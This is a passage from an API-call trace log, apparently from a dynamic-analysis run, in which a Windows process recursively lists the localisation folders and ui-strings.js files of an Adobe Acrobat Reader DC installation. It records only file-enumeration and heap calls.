lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.049] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xdf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0246.049] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xdf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0246.049] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0246.049] GetProcessHeap () returned 0xc10000 [0246.049] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39828b0 | out: hHeap=0xc10000) returned 1 [0246.049] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0246.049] GetProcessHeap () returned 0xc10000 [0246.049] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39828b0 [0246.049] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\en-gb\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0246.051] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.051] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xd79, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0246.051] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xd79, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0246.051] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0246.051] GetProcessHeap () returned 0xc10000 [0246.051] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39828b0 | out: hHeap=0xc10000) returned 1 [0246.051] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0246.052] GetProcessHeap () returned 0xc10000 [0246.052] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39828b0 [0246.052] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\en-il\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0246.053] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.053] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xdf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0246.053] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xdf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0246.053] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0246.054] GetProcessHeap () returned 0xc10000 [0246.054] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39828b0 | out: hHeap=0xc10000) returned 1 [0246.054] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0246.054] GetProcessHeap () returned 0xc10000 [0246.054] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39828b0 [0246.054] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\es-es\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0246.054] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.055] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xecd, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0246.055] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xecd, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0246.055] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0246.055] GetProcessHeap () returned 0xc10000 [0246.055] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39828b0 | out: hHeap=0xc10000) returned 1 [0246.055] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0246.055] GetProcessHeap () returned 0xc10000 [0246.055] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39828b0 [0246.055] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\eu-es\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0246.057] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.057] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xeb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0246.057] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xeb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0246.057] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0246.057] GetProcessHeap () returned 0xc10000 [0246.057] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39828b0 | out: hHeap=0xc10000) returned 1 [0246.057] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0246.057] GetProcessHeap () returned 0xc10000 [0246.057] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39828b0 [0246.057] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\fi-fi\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0246.059] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.059] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0246.059] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0246.059] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0246.206] GetProcessHeap () returned 0xc10000 [0246.206] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39828b0 | out: hHeap=0xc10000) returned 1 [0246.206] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0246.206] GetProcessHeap () returned 0xc10000 [0246.206] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39828b0 [0246.206] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\fr-fr\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0246.208] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.208] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xf0d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0246.208] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xf0d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0246.208] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0246.209] GetProcessHeap () returned 0xc10000 [0246.209] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39828b0 | out: hHeap=0xc10000) returned 1 [0246.209] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0246.209] GetProcessHeap () returned 0xc10000 [0246.209] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39828b0 [0246.209] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\fr-ma\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0246.210] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.211] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xf0d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0246.211] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xf0d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0246.211] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0246.211] GetProcessHeap () returned 0xc10000 [0246.211] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39828b0 | out: hHeap=0xc10000) returned 1 [0246.211] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0246.211] GetProcessHeap () returned 0xc10000 [0246.211] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39828b0 [0246.211] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\he-il\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, 